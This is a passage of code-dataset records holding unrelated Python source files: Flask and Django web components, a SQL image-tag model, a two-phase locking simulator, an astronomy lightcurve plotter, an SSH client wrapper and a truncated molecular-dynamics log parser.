Karr Lab\n:License: MIT\n\"\"\"\nimport os\nfrom flask import render_template, Blueprint, request, flash\nfrom flask_login import current_user\nfrom datanator_website.server.main.query import Query\nfrom datanator_website.server.main.forms import TextSearch, AddToCart\nfrom datanator_website.server import db, model\nimport flask_whooshalchemy\n\ncachedir = os.path.join(os.path.abspath(os.path.dirname(__file__)),'..', 'cache')\nmain_blueprint = Blueprint('main', __name__,)\nq = Query()\n\ncolor_dict = {'Compound': '#70C2C2', 'ProteinComplex': '#66CC99', 'ProteinInteractions': '#C4E87D',\n 'Taxon': '#F0F075', 'Reaction':'#CCA8F0', 'CellLine': '#F5D6E6','CellCompartment': '#D8A8F0',\n 'ProteinSubunit':'#EB9947' }\n\n\ndef log_search(form):\n \"\"\"\n Logs the search on the website and notes the user if user is logged in\n \"\"\"\n response = model.InputDataStorage(content = form.content.data, user = current_user) if current_user.is_authenticated else model.InputDataStorage(content = form.content.data, user=None)\n db.session.add(response)\n db.session.commit()\n\n@main_blueprint.route(\"/browse\", methods=['GET', 'POST'])\ndef browse():\n form = TextSearch(request.form)\n\n if form.validate_on_submit():\n log_search(form)\n content_list, dict_txt = q.txt_search(form)\n stats = [(len(value),key,color_dict[key]) for key, value in dict_txt.items()]\n return render_template(\"main/browse.html\", form = form, stats=stats, display = dict_txt, color= color_dict)\n\n return render_template('main/browse_search.html', form = form)\n\n@main_blueprint.route(\"/browse_search\", methods=['GET', 'POST'])\ndef browse_search():\n form = TextSearch(request.form)\n return render_template('main/browse_search.html', form = form)\n\n@main_blueprint.route(\"/info//\", methods=['GET', 'POST'])\ndef entity(id, type):\n form = TextSearch(request.form)\n if type == 'parameters':\n obj = q.get_reaction(id)\n args = q.get_parameters(obj)\n else:\n obj = q.db_search(str(id))\n args = q.queryRunner(type, obj)\n print(obj)\n print(args)\n return render_template(\"main/type/\"+type+\".html\", **locals(), color = color_dict[obj.__class__.__name__])\n","sub_path":"datanator_website/server/main/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2286,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"82156471","text":"from config import db\nimport web\nimport model.tag\n\ndef sha1_exists(sha1):\n return len(db.where('image', sha1=sha1)) > 0\n\ndef create(sha1, filename, original_filename, account_id, thumb_filename, in_filename):\n with db.transaction():\n tag_hub_id = model.tag.create_tag_hub()\n id = db.insert('image', sha1=sha1, filename=filename, original_filename=original_filename,\n created_by=account_id, thumb_filename=thumb_filename, in_filename=in_filename, tag_hub_id=tag_hub_id)\n return id\n \ndef get_list(limit=None, offset=0):\n what = \"id,thumb_filename\"\n if limit is None:\n return db.select('image', what=what, order=\"id DESC\")\n else:\n return db.select('image', what=what, limit=limit, offset=offset, order=\"id DESC\")\n\ndef get(id):\n try:\n return db.where('image', id=id)[0]\n except:\n return None\n \ndef count():\n return db.query('SELECT COUNT(*) AS total_images FROM image')[0].total_images\n\ndef tag_search(tags, limit=None, offset=0):\n query = \"SELECT i.id, i.thumb_filename FROM image i \"\n c = 1\n vars = {}\n for tag in tags:\n query += \" INNER JOIN view_image_tags vit_{0} ON vit_{0}.name = $var{0} AND vit_{0}.image_id = i.id \".format(c)\n vars[\"var\"+str(c)] = tag\n c += 1\n query += \" ORDER BY i.id DESC \"\n if limit is not None:\n query += \" LIMIT {0} OFFSET {1} \".format(limit, offset)\n else:\n query += \" OFFSET {0} \".format(offset)\n return db.query(query, vars=vars)\n\ndef tag_search_count(tags, limit=None, offset=0):\n query = \"SELECT COUNT(*) as total_images FROM image i \"\n c = 1\n vars = {}\n for tag in tags:\n query += \" INNER JOIN view_image_tags vit_{0} ON vit_{0}.name = $var{0} AND vit_{0}.image_id = i.id \".format(c)\n vars[\"var\"+str(c)] = tag\n c += 1\n return db.query(query, vars=vars)[0].total_images","sub_path":"KPDB/src/model/image.py","file_name":"image.py","file_ext":"py","file_size_in_byte":1895,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"121967883","text":"# @Group-Members: \n# - Ashish Bedi (B13204)\n# - Mukkaram Tailor (B13318)\n# - Shubham Chandel (B13231)\n# @Description: Basic two phase locking - Wound & wait\n# @Date: 2016-04-15 15:08:36\n# @Last Modified by: mukarram\n# @Last Modified time: 2016-04-24 23:04:35\n\nfrom pprint import pprint\nfrom random import randint, choice\nfrom argparse import ArgumentParser\n\n# Global data-structures\nsystem_time = 0\nlocks = {}\nready, running, done = [], [], []\n\n# argument parsing\nparser = ArgumentParser()\nparser.add_argument(\"-v\", \"--verbose\", action=\"store_true\")\nargs = parser.parse_args()\nv = args.verbose\n\n\ndef raiseException(): 0/0\n\ndef releaseLocks(tx, what=None):\n\tfor variable, rwlock in locks.items():\n\t\t\n\t\tif rwlock['W'] == tx:\n\t\t\trwlock['W'] = None\n\n\t\tif tx in rwlock['R']:\n\t\t\trwlock['R'].remove(tx)\n\n\tif what:\n\t\tif v: print(tx, 'Aborted.', sep=': ')\n\telse:\n\t\tif v: print(tx, 'All locks released', sep=': ')\n\n\nif __name__ == '__main__':\n\n\t# Input transactions\n\ttx = int(input())\n\ttransaction_pointer = [0]*tx\n\n\tvariable_set = set()\n\ttransactions = {}\n\ttimestamp = {}\n\n\tfor transaction in range(tx):\n\t\t\n\t\tnint, ntime = list(map(int, input().split()))\n\t\t\n\t\ttry: \n\t\t\ttimestamp[ntime].append(transaction)\n\t\texcept:\n\t\t\ttimestamp[ntime] = [transaction]\n\n\t\ttransactions[transaction] = {'timestamp': ntime, 'operations': []}\n\n\t\tfor instruction in range(nint):\n\t\t\top, var = input().split()\n\t\t\tvar = int(var)\n\t\t\tvariable_set.add(var)\n\t\t\t\n\t\t\ttransactions[transaction]['operations'].append((op, var))\n\n\t# print transactions\n\tprint('All transactions:\\n')\n\tfor transaction, ops in transactions.items():\n\t\tprint('Transaction:', transaction, '\\nTimestamp:', ops['timestamp'])\n\t\tfor op in ops['operations']:\n\t\t\tprint(' '.join(map(str,op)))\n\tprint()\n\n\n\tlocks = {variable:{'R':[], 'W':None} for variable in variable_set}\n\n\t# start of schedule-generation\n\tprint('Start of schedule generation:')\n\t\n\t# for _ in range(25):\n\twhile True:\n\t\t\n\t\tif v: print('\\nSystem time:', system_time)\n\n\t\t# new transactions enter system\n\t\ttry:\n\t\t\tnewtx = timestamp[system_time]\n\t\t\tif v: print('Transactions entering system:', newtx)\n\t\texcept:\n\t\t\tnewtx = []\n\t\t\t# print('No transaction at time:', system_time)\n\t\t\t# continue\n\n\t\t# put new transactions in ready-queue\n\t\tready.extend(newtx)\n\n\n\t\tif ready == []:\n\t\t\tsystem_time += 1\n\t\t\tcontinue\n\n\n\t\twhile True:\n\n\t\t\t# choose a random transaction from running to run\n\t\t\tthis_will_run = choice(ready)\n\t\t\t# print(this_will_run)\n\t\t\tcurrent_operation = transaction_pointer[this_will_run]\n\n\t\t\top, variable = transactions[this_will_run]['operations'][current_operation]\n\t\t\t\n\t\t\tiswrite = locks[variable]['W']\n\t\t\tisread = locks[variable]['R']\n\n\t\t\ttry:\n\t\t\t\t# W operation\n\t\t\t\tif op is 'W':\n\n\t\t\t\t\t# W-lock free\n\t\t\t\t\tif iswrite is None:\n\t\t\t\t\t\t\n\t\t\t\t\t\t# R-lock free\n\t\t\t\t\t\tif isread == []:\n\t\t\t\t\t\t\tlocks[variable]['W'] = this_will_run\n\t\t\t\t\t\t\n\t\t\t\t\t\t# Only I have aquired R-lock\n\t\t\t\t\t\telif (this_will_run in isread) and len(isread) == 1:\n\t\t\t\t\t\t\tlocks[variable]['R'].remove(this_will_run)\n\t\t\t\t\t\t\tlocks[variable]['W'] = this_will_run\n\t\t\t\t\t\t\n\t\t\t\t\t\t# Only \"Someone else\" have aquired R-lock\n\t\t\t\t\t\telif len(isread) == 1:\n\n\t\t\t\t\t\t\t# I am young , so I should wait\n\t\t\t\t\t\t\tif this_will_run >= isread[0]:\n\t\t\t\t\t\t\t\traiseException()\n\n\n\t\t\t\t\t\t\t# I am old , so I will kill the younger tx\n\t\t\t\t\t\t\telif this_will_run < isread[0]: \n\t\t\t\t\t\t\t\ttransaction_pointer[isread[0]] = 0\n\t\t\t\t\t\t\t\treleaseLocks(isread[0])\n\t\t\t\t\t\t\t\traiseException()\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t# Multiple Tx have aquired R-lock\n\t\t\t\t\t\telse: raiseException()\n\n\n\t\t\t\t\telif this_will_run == iswrite:\n\t\t\t\t\t\tpass\t\t\t\t\t\n\n\t\t\t\t\t# W-lock not free\n\t\t\t\t\t# I am young, so I will wait\n\t\t\t\t\telif this_will_run > iswrite:\n\t\t\t\t\t\traiseException()\n\n\n\t\t\t\t\t# I am old, so I will kill the younger\n\t\t\t\t\telif this_will_run < iswrite: \n\t\t\t\t\t\ttransaction_pointer[iswrite] = 0\n\t\t\t\t\t\treleaseLocks(iswrite)\n\t\t\t\t\t\traiseException()\n\n\t\t\t\t\telse: raiseException()\n\n\t\t\t\t\n\t\t\t\t# R operation\n\t\t\t\telif op is 'R':\n\t\t\t\t\t\n\t\t\t\t\tif this_will_run in isread:\n\t\t\t\t\t\tpass\n\n\t\t\t\t\telif (iswrite is None):\n\t\t\t\t\t\tlocks[variable]['R'].append(this_will_run)\n\t\t\t\t\t\n\t\t\t\t\telif this_will_run == iswrite:\n\t\t\t\t\t\tpass\n\n\t\t\t\t\t# I am young, I will wait\n\t\t\t\t\telif this_will_run >= iswrite:\n\t\t\t\t\t\traiseException()\n\t\t\t\t\t\n\t\t\t\t\t# I am old , I will kill the younger\n\t\t\t\t\telif this_will_run < iswrite: \n\t\t\t\t\t\ttransaction_pointer[iswrite] = 0\n\t\t\t\t\t\treleaseLocks(iswrite)\n\t\t\t\t\t\traiseException()\n\n\t\t\t\t\telse: raiseException()\n\n\t\t\t\t# Neither R nor W\n\t\t\t\telse: print('Something bad happened!')\n\n\t\t\texcept:\n\t\t\t\tcontinue\n\n\n\t\t\ttransaction_pointer[this_will_run] += 1\n\t\t\t# print(this_will_run, transaction_pointer[this_will_run])\n\t\t\tprint(str(this_will_run) + ':', ' '.join(map(str, transactions[this_will_run]['operations'][current_operation])))\n\n\t\t\t# all operations successfully completed, restore locks\n\t\t\tif transaction_pointer[this_will_run] > len(transactions[this_will_run]['operations']) - 1:\n\t\t\t\t\n\t\t\t\treleaseLocks(this_will_run, 1)\n\n\t\t\t\t# Shift tx from ready --> done\n\t\t\t\tready.remove(this_will_run)\n\t\t\t\tdone.append(this_will_run)\n\t\t\t\tif v: print(this_will_run, 'All locks released', sep=': ')\n\n\n\t\t\tbreak\n\t\t\n\t\t# pprint(locks)\n\t\t# if all transactions are done, exit\n\t\tif len(done) == tx:\n\t\t\tbreak\n\t\t\n\t\t# last-line-dont-disturb\n\t\tsystem_time += 1\n\n\t# pprint(locks)\n\n","sub_path":"twophase_locking_wound_wait.py","file_name":"twophase_locking_wound_wait.py","file_ext":"py","file_size_in_byte":5204,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"70343064","text":"#!/usr/bin/env python3\n# Author: Simeon Reusch (simeon.reusch@desy.de)\n# License: BSD-3-Clause\n\nimport os, time, sys, logging\nfrom csv import reader\nimport numpy as np\nimport pandas as pd\nfrom astropy.time import Time\nfrom astropy.table import Table\nfrom astropy.io import fits\nimport matplotlib.pyplot as plt\nfrom datetime import datetime, date\nfrom ztffps import pipeline, database\nfrom ztffps.utils import (\n calculate_magnitudes,\n abmag_err_to_flux_err,\n abmag_to_flux,\n is_wise_name,\n)\n\n\ndef plot_lightcurve(\n name,\n snt: float = 5.0,\n daysago: float = None,\n daysuntil: float = None,\n mag_range=None,\n flux_range=None,\n logger=None,\n plot_flux=False,\n plot_alertdata=True,\n plot_pdf=False,\n):\n \"\"\" \"\"\"\n if logger is None:\n logging.basicConfig(level=logging.INFO)\n logger = logging.getLogger()\n\n ### define directories\n lc_path = os.path.join(pipeline.FORCEPHOTODATA, f\"{name}.csv\")\n lc_plotdir = pipeline.PLOTDATA\n lc_plotted_dir = pipeline.PLOT_DATAFRAMES\n\n lc = pd.read_csv(lc_path, comment=\"#\")\n\n query = database.read_database(name)\n has_alertdata = False\n\n if not is_wise_name(name):\n if query[\"jdobs_alert\"][0] is not None:\n has_alertdata = True\n alert_jd = query[\"jdobs_alert\"][0]\n alert_mag = query[\"mag_alert\"][0]\n alert_magerr = query[\"magerr_alert\"][0]\n alert_fid = query[\"fid_alert\"][0]\n alert_zp = query[\"magzp_alert\"][0]\n alert_zp_err = query[\"magzp_err_alert\"][0]\n alert_mjd = np.asarray(alert_jd) - 2400000.5\n\n # Cut values where magzp is NaN as no flux can be extracted\n alert_fid = np.asarray(alert_fid, dtype=int)\n alert_mjd = np.asarray(alert_mjd, dtype=float)\n alert_mag = np.asarray(alert_mag, dtype=float)\n alert_mag_err = np.asarray(alert_magerr, dtype=float)\n alert_zp = np.asarray(alert_zp, dtype=float)\n alert_zp_err = np.asarray(alert_zp_err, dtype=float)\n alert_zp = np.ma.masked_invalid(alert_zp)\n mask = np.ma.getmask(alert_zp)\n alert_zp = np.ma.compressed(alert_zp)\n alert_zp_err = np.ma.compressed(np.ma.masked_where(mask, alert_zp_err))\n alert_mjd = np.ma.compressed(np.ma.masked_where(mask, alert_mjd))\n alert_mag = np.ma.compressed(np.ma.masked_where(mask, alert_mag))\n alert_magerr = np.ma.compressed(np.ma.masked_where(mask, alert_magerr))\n alert_fid = np.ma.compressed(np.ma.masked_where(mask, alert_fid))\n\n # and now we calculate the flux\n alert_flux = abmag_to_flux(alert_mag, alert_zp)\n alert_flux_err = abmag_err_to_flux_err(\n alert_mag, alert_magerr, alert_zp, alert_zp_err\n )\n\n ### apply time-range cut:\n now = Time(time.time(), format=\"unix\", scale=\"utc\").mjd\n # bla = Time(\"2020-01-09\", format=\"iso\", scale=\"utc\").mjd\n\n mjdmin = now - daysago if daysago is not None else 58208.5\n mjdmax = now - daysuntil if daysuntil is not None else now\n if daysuntil is None and daysago is None:\n axis_min = mjdmin\n axis_max = now + 10\n else:\n axis_min = mjdmin\n axis_max = mjdmax + 1\n\n ### remove rows outside the timerange and with bad chisq-values, reset index\n lc.query(\"obsmjd >= @mjdmin and obsmjd <= @mjdmax\", inplace=True)\n lc.query(\"chi2 > 0\", inplace=True)\n lc = lc.reset_index()\n del lc[\"index\"]\n\n lc = calculate_magnitudes(lc, snt)\n lc.sort_values(by=[\"obsmjd\"], inplace=True)\n lc.reset_index(inplace=True)\n lc.drop(columns=[\"index\"], inplace=True)\n\n with open(lc_path, \"r\") as f:\n csv = reader(f)\n header = \"\"\n\n for i, row in enumerate(csv):\n if row[0][0] != \"#\":\n break\n\n if i == 0:\n header += f\"{row[0]}\"\n else:\n header += f\"\\n{row[0]}\"\n\n # Save this version of the dataframe for later analysis (and to be sent by mail)\n outpath = os.path.join(lc_plotted_dir, f\"{name}_SNT_{snt}.csv\")\n if os.path.isfile(outpath):\n os.remove(outpath)\n f = open(outpath, \"a\")\n f.write(f\"{header}\\n\")\n lc.to_csv(f, index=False)\n f.close()\n\n # Create Dataframe for Alert data / Rounding is neccessary because Alert and Forced Photometry MJDs are not consistent\n if has_alertdata and plot_alertdata:\n alert_df = pd.DataFrame(\n data={\n \"obsmjd\": np.around(alert_mjd, decimals=4),\n \"filter_id\": alert_fid,\n \"flux\": alert_flux,\n \"flux_err\": alert_flux_err,\n \"mag\": alert_mag,\n \"mag_err\": alert_magerr,\n \"magzp\": alert_zp,\n \"magzp_err\": alert_zp_err,\n }\n )\n\n alert_df = alert_df[\n ~alert_df[\"obsmjd\"].isin(np.around(lc.obsmjd.values, decimals=4))\n ]\n alert_df = alert_df.reset_index()\n alert_df.drop(columns=[\"index\"], inplace=True)\n alert_df.to_csv(os.path.join(lc_plotted_dir, f\"{name}_alert.csv\"))\n alert_g = alert_df.query(\"filter_id == 1\")\n alert_r = alert_df.query(\"filter_id == 2\")\n alert_i = alert_df.query(\"filter_id == 3\")\n\n # Create filterspecific dataframes\n len_before_sn_cut = len(lc)\n t0_dist = np.asarray(lc.obsmjd.values - now)\n lc.insert(2, \"t0_dist\", t0_dist)\n uplim = lc.query(\"mag == 99\")\n lc_full = lc.copy()\n if not plot_flux:\n lc = lc.query(\"mag < 99\")\n len_after_sn_cut = len(lc)\n filterlist = [[\"ZTF g\", \"ZTF_g\"], [\"ZTF r\", \"ZTF_r\"], [\"ZTF i\", \"ZTF_i\"]]\n if not plot_flux:\n g = lc[lc[\"filter\"].isin(filterlist[0])]\n r = lc[lc[\"filter\"].isin(filterlist[1])]\n i = lc[lc[\"filter\"].isin(filterlist[2])]\n g_uplim = uplim[uplim[\"filter\"].isin(filterlist[0])]\n r_uplim = uplim[uplim[\"filter\"].isin(filterlist[1])]\n i_uplim = uplim[uplim[\"filter\"].isin(filterlist[2])]\n else:\n g = lc_full[lc_full[\"filter\"].isin(filterlist[0])]\n r = lc_full[lc_full[\"filter\"].isin(filterlist[1])]\n i = lc_full[lc_full[\"filter\"].isin(filterlist[2])]\n\n if not plot_flux:\n logger.info(\n f\"{name} {len_after_sn_cut} of {len_before_sn_cut} datapoints survived SNT cut of {snt}\"\n )\n\n ### define functions for secondary axis (conversion from jd --> distance to today)\n def t0_dist(obsmjd):\n \"\"\" \"\"\"\n t0 = Time(time.time(), format=\"unix\", scale=\"utc\").mjd\n return obsmjd - t0\n\n def t0_to_mjd(dist_to_t0):\n \"\"\" \"\"\"\n t0 = Time(time.time(), format=\"unix\", scale=\"utc\").mjd\n return t0 + dist_to_t0\n\n ### actual plotting\n fig, ax = plt.subplots(1, 1, figsize=[10, 4.2])\n fig.subplots_adjust(top=0.8)\n ax2 = ax.secondary_xaxis(\"top\", functions=(t0_dist, t0_to_mjd))\n # Get time now as UTC time\n ts = time.time()\n utc_now = datetime.utcfromtimestamp(ts)\n utc_string = utc_now.strftime(\"%Y-%m-%d %H:%M\")\n ax2.set_xlabel(f\"Days from {utc_string} UT\")\n\n fig.suptitle(f\"{name}\", fontweight=\"bold\")\n ax.grid(b=True, axis=\"y\")\n ax.set_xlabel(\"MJD\")\n if not plot_flux:\n ax.set_ylabel(\"Magnitude [AB]\")\n else:\n ax.set_ylabel(\"Flux\")\n ax.set_xlim([axis_min, axis_max])\n ax2.set_xlim([ax.get_xlim()[0] - now, ax.get_xlim()[1] - now])\n\n bands = [\"g\", \"r\", \"i\"]\n plot_colors = {\"g\": \"green\", \"r\": \"red\", \"i\": \"orange\"}\n plot_labels = {\"g\": \"FP g\", \"r\": \"FP r\", \"i\": \"FP i\"}\n plot_labels_alert = {\"g\": \"Alert g\", \"r\": \"Alert r\", \"i\": \"Alert i\"}\n colors = [\"green\", \"red\", \"orange\"]\n\n if not plot_flux:\n upper_limit_dfs = {\"g\": g_uplim, \"r\": r_uplim, \"i\": i_uplim}\n mag_dfs = {\"g\": g, \"r\": r, \"i\": i}\n\n for band in upper_limit_dfs.keys():\n ax.scatter(\n upper_limit_dfs[band].obsmjd.values,\n upper_limit_dfs[band].upper_limit.values,\n color=plot_colors[band],\n marker=\"v\",\n s=1.3,\n alpha=0.5,\n )\n for band in mag_dfs.keys():\n ax.errorbar(\n mag_dfs[band].obsmjd.values,\n mag_dfs[band].mag.values,\n mag_dfs[band].mag_err.values,\n color=plot_colors[band],\n fmt=\".\",\n label=plot_labels[band],\n mec=\"black\",\n mew=0.5,\n )\n\n if has_alertdata and plot_alertdata:\n alert_dfs = {\"g\": alert_g, \"r\": alert_r, \"i\": alert_i}\n\n for band in alert_dfs.keys():\n ax.errorbar(\n alert_dfs[band].obsmjd.values,\n alert_dfs[band].mag.values,\n alert_dfs[band].mag_err.values,\n color=plot_colors[band],\n fmt=\".\",\n label=plot_labels_alert[band],\n mew=0,\n )\n else:\n flux_dfs = {\"g\": g, \"r\": r, \"i\": i}\n for band in flux_dfs.keys():\n ax.errorbar(\n flux_dfs[band].obsmjd.values,\n # flux_dfs[band].ampl.values,\n # flux_dfs[band][\"ampl.err\"].values,\n flux_dfs[band].Fratio.values,\n flux_dfs[band][\"Fratio.err\"].values,\n color=plot_colors[band],\n fmt=\".\",\n label=plot_labels[band],\n mec=\"black\",\n mew=0.5,\n )\n if has_alertdata and plot_alertdata:\n alert_dfs = {\"g\": alert_g, \"r\": alert_r, \"i\": alert_i}\n for band in alert_dfs.keys():\n ax.errorbar(\n alert_dfs[band].obsmjd.values,\n alert_dfs[band].flux.values,\n alert_dfs[band].flux_err.values,\n color=plot_colors[band],\n fmt=\".\",\n label=plot_labels_alert[band],\n mew=0,\n )\n\n ax.axvline(x=now, color=\"grey\", linewidth=0.5, linestyle=\"--\")\n\n if not plot_flux:\n if mag_range is None:\n ax.set_ylim([23, 15])\n else:\n ax.set_ylim([np.max(mag_range), np.min(mag_range)])\n else:\n if flux_range is not None:\n ax.set_ylim([np.min(flux_range), np.max(flux_range)])\n\n if not plot_flux:\n if snt:\n title = f\"SNT={snt:.0f}\"\n else:\n title = (None,)\n ax.legend(\n loc=0,\n framealpha=1,\n title=title,\n fontsize=\"x-small\",\n title_fontsize=\"x-small\",\n )\n else:\n ax.legend(\n loc=0,\n framealpha=1,\n fontsize=\"x-small\",\n title_fontsize=\"x-small\",\n )\n images_dir = os.path.join(lc_plotdir, \"images\")\n if not os.path.exists(images_dir):\n os.makedirs(images_dir)\n if not plot_flux:\n if snt:\n image_path = os.path.join(images_dir, f\"{name}_SNT_{snt}.png\")\n else:\n image_path = os.path.join(images_dir, f\"{name}.png\")\n else:\n image_path = os.path.join(images_dir, f\"{name}_flux.png\")\n fig.savefig(image_path, dpi=300, bbox_inches=\"tight\")\n","sub_path":"ztffps/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":11281,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"537097022","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.core.validators import MinValueValidator\nfrom django.db import models\nfrom django.utils import timezone\n\nclass Execution(models.Model):\n class Meta(object):\n verbose_name=u\"Виконання\"\n verbose_name_plural=u\"Виконання\"\n\n order = models.ForeignKey(\n \"Order\",\n verbose_name=u\"Замовлення\",\n blank=False,\n null=False,\n on_delete=models.PROTECT)\n\n date = models.DateField(\n verbose_name=u\"Дата виконання\",\n blank=False,\n null=False,\n default=timezone.now)\n\n account = models.ForeignKey(\n \"Account\",\n verbose_name=u\"Цільовий рахунок\",\n blank=False,\n null=False,\n on_delete=models.PROTECT)\n\n amount = models.IntegerField(\n verbose_name=u\"Сума закриття\",\n blank=False,\n null=False,\n validators=[MinValueValidator(100),])\n\n closed_tasks = models.CharField(\n max_length=256,\n blank=True,\n null=True,\n verbose_name=u\"Закриті таски\")\n\n def __str__(self):\n return u\"Виконання по замовленню {}\".format(\n self.order.name)\n\n def model_name(self):\n return 'Виконання'","sub_path":"finance/models/execution.py","file_name":"execution.py","file_ext":"py","file_size_in_byte":1353,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"142014438","text":"import io\nimport functools\nfrom js9 import j\nfrom .SSHClientBase import SSHClientBase\n\n# THIS IS NOT THE ORIGINAL FILE, IS JUST A COPY FROM SSHCLientBase.TEMPLATE: CHANGE THERE !!!! (and copy here)\nTEMPLATE = \"\"\"\naddr = \"\"\nport = 22\naddr_priv = \"\"\nport_priv = 22\nlogin = \"\"\npasswd_ = \"\"\nsshkey = \"\"\nclienttype = \"\"\nproxy = \"\"\ntimeout = 5\nforward_agent = true\nallow_agent = true\nstdout = true\n\"\"\"\n\nclass SSHClient(SSHClientBase):\n\n def __init__(self, instance, data={}, parent=None, interactive=False):\n SSHClientBase.__init__(self, instance=instance,\n data=data, parent=parent, interactive=interactive)\n self._logger = j.logger.get(\"ssh client: %s:%s(%s)\" % (self.addr_variable, self.port, self.login))\n self._client = None\n self._prefab = None\n\n @property\n def client(self):\n pkey = self.sshkey.path if (self.sshkey and self.sshkey.path) else None\n passwd = self.passwd\n if pkey:\n passwd = self.sshkey.passphrase\n\n from pssh.ssh2_client import SSHClient as PSSHClient\n PSSHClient = functools.partial(PSSHClient, retry_delay=1)\n\n self._client = PSSHClient(self.addr_variable,\n user=self.login,\n password=passwd,\n port=self.port,\n pkey=pkey,\n num_retries=self.timeout / 6,\n allow_agent=self.allow_agent,\n timeout=5)\n\n return self._client\n\n def execute(self, cmd, showout=True, die=True, timeout=None):\n channel, _, stdout, stderr, _ = self.client.run_command(cmd, timeout=timeout)\n # self._client.wait_finished(channel)\n\n def _consume_stream(stream, printer, buf=None):\n buffer = buf or io.StringIO()\n for line in stream:\n buffer.write(line + '\\n')\n if showout:\n printer(line)\n return buffer\n\n out = _consume_stream(stdout, self.logger.debug)\n err = _consume_stream(stderr, self.logger.error)\n self._client.wait_finished(channel)\n _consume_stream(stdout, self.logger.debug, out)\n _consume_stream(stderr, self.logger.error, err)\n\n rc = channel.get_exit_status()\n output = out.getvalue()\n out.close()\n error = err.getvalue()\n err.close()\n channel.close()\n\n if rc and die:\n raise j.exceptions.RuntimeError(\"Cannot execute (ssh):\\n%s\\noutput:\\n%serrors:\\n%s\" % (cmd, output, error))\n\n return rc, output, error\n\n def connect(self):\n self.client\n\n # def connectViaProxy(self, host, username, port, identityfile, proxycommand=None):\n # # TODO: Fix this\n # self.usesproxy = True\n # client = paramiko.SSHClient()\n # client._policy = paramiko.WarningPolicy()\n # client.set_missing_host_key_policy(paramiko.AutoAddPolicy())\n # import os.path\n # self.host = host\n # cfg = {'hostname': host, 'username': username, \"port\": port}\n # self.addr = host\n # self.user = username\n\n # if identityfile is not None:\n # cfg['key_filename'] = identityfile\n # self.key_filename = cfg['key_filename']\n\n # if proxycommand is not None:\n # cfg['sock'] = paramiko.ProxyCommand(proxycommand)\n # cfg['timeout'] = 5\n # cfg['allow_agent'] = True\n # cfg['banner_timeout'] = 5\n # self.cfg = cfg\n # self.forward_agent = True\n # self._client = client\n # self._client.connect(**cfg)\n\n # return self._client\n\n def reset(self):\n with self._lock:\n if self._client is not None:\n self._client = None\n\n @property\n def sftp(self):\n return self.client._make_sftp()\n\n def close(self):\n # TODO: make sure we don't need to clean anything\n pass\n\n def copy_file(self, local_file, remote_file, recurse=False, sftp=None):\n return self.client.copy_file(local_file, remote_file, recurse=recurse, sftp=sftp)\n\n def rsync_up(self, source, dest, recursive=True):\n if dest[0] != \"/\":\n raise j.exceptions.RuntimeError(\"dest path should be absolute\")\n\n dest = \"%s@%s:%s\" % (self.config.data['login'], self.addr_variable, dest)\n j.sal.fs.copyDirTree(\n source,\n dest,\n keepsymlinks=True,\n deletefirst=False,\n overwriteFiles=True,\n ignoredir=[\n \".egg-info\",\n \".dist-info\",\n \"__pycache__\"],\n ignorefiles=[\".egg-info\"],\n rsync=True,\n ssh=True,\n sshport=self.port_variable,\n recursive=recursive)\n\n def rsync_down(self, source, dest, source_prefix=\"\", recursive=True):\n if source[0] != \"/\":\n raise j.exceptions.RuntimeError(\"source path should be absolute\")\n source = \"%s@%s:%s\" % (self.config.data['login'], self.addr_variable, source)\n j.sal.fs.copyDirTree(\n source,\n dest,\n keepsymlinks=True,\n deletefirst=False,\n overwriteFiles=True,\n ignoredir=[\n \".egg-info\",\n \".dist-info\"],\n ignorefiles=[\".egg-info\"],\n rsync=True,\n ssh=True,\n sshport=self.port_variable,\n recursive=recursive)\n\n @property\n def prefab(self):\n if self._prefab:\n return self._prefab\n ex = j.tools.executor\n executor = ex.getSSHViaProxy(self.addr_variable) if self.config.data['proxy'] else ex.ssh_get(self)\n if self.config.data[\"login\"] != \"root\":\n executor.state_disabled = True\n self._prefab = executor.prefab\n return self._prefab\n\n def ssh_authorize(self, user, key=None, pubkey=None):\n \"\"\"add key to authorized users, if key is specified will get public key from sshkey client,\n or can directly specify the public key. If both are specified key name instance will override public key.\n\n :param user: user to authorize\n :type user: str\n :param key: name of sshkey instance to use, defaults to None\n :param key: str, optional\n :param pubkey: public key to authorize, defaults to None\n :param pubkey: str, optional\n \"\"\"\n\n if key:\n sshkey = j.clients.sshkey.get(key)\n pubkey = sshkey.pubkey\n self.prefab.system.ssh.authorize(user=user, key=pubkey)\n","sub_path":"JumpScale9/clients/ssh/SSHClient.py","file_name":"SSHClient.py","file_ext":"py","file_size_in_byte":6633,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"82547008","text":"############################\n## Created by C.G. Oliver###\n############################\n\n\"\"\"\nThis script takes a log file from a GROMACS Replica Exchange run.\nMain function parse_log() returns a dictionary of replicas present at each temperature ensemble.\nkey = temperature ensemble\nvalue = list of tuples (conformation #, time of switch)\n\nplot_exchanges() generates a bar graph for a single temperature ensemble displaying the frequency of each\nreplica in the given ensemble.\n\"\"\"\nimport sys\nimport numpy as np\nfrom matplotlib import pyplot as plt\nimport argparse\n\n\ndef cline():\n\tparser = argparse.ArgumentParser()\n\tparser.add_argument(\"-l\", \"--log\", help=\"REMD log file\", type=str)\n\n\treturn parser.parse_args()\n\n#histogram of exchange frequencies.\ndef exchange_historgram():\n\treturn None\n\n#line plot of exchanges over time.\ndef exchange_lines():\n\treturn None\n\ndef parse_log(log_file):\n\texchanges = {}\n\twith open(log_file) as log:\n\t\tcurrent_time = None\n\t\tlines_processed = 0\n\t\tfor l in log:\n\t\t\tif \"Replica exchange at step\" in l:\n\t\t\t\tcurrent_time = float(l.split()[-1])\n\t\t\tif \"Repl ex\" in l:\n\t\t\t\treplicas = l.split()[2:]\n\t\t\t\tfor i, t in enumerate(replicas):\n\t\t\t\t\t#we have an exchange, update dictionary\n\t\t\t\t\tif t == \"x\":\n\t\t\t\t\t\tleft_replica = 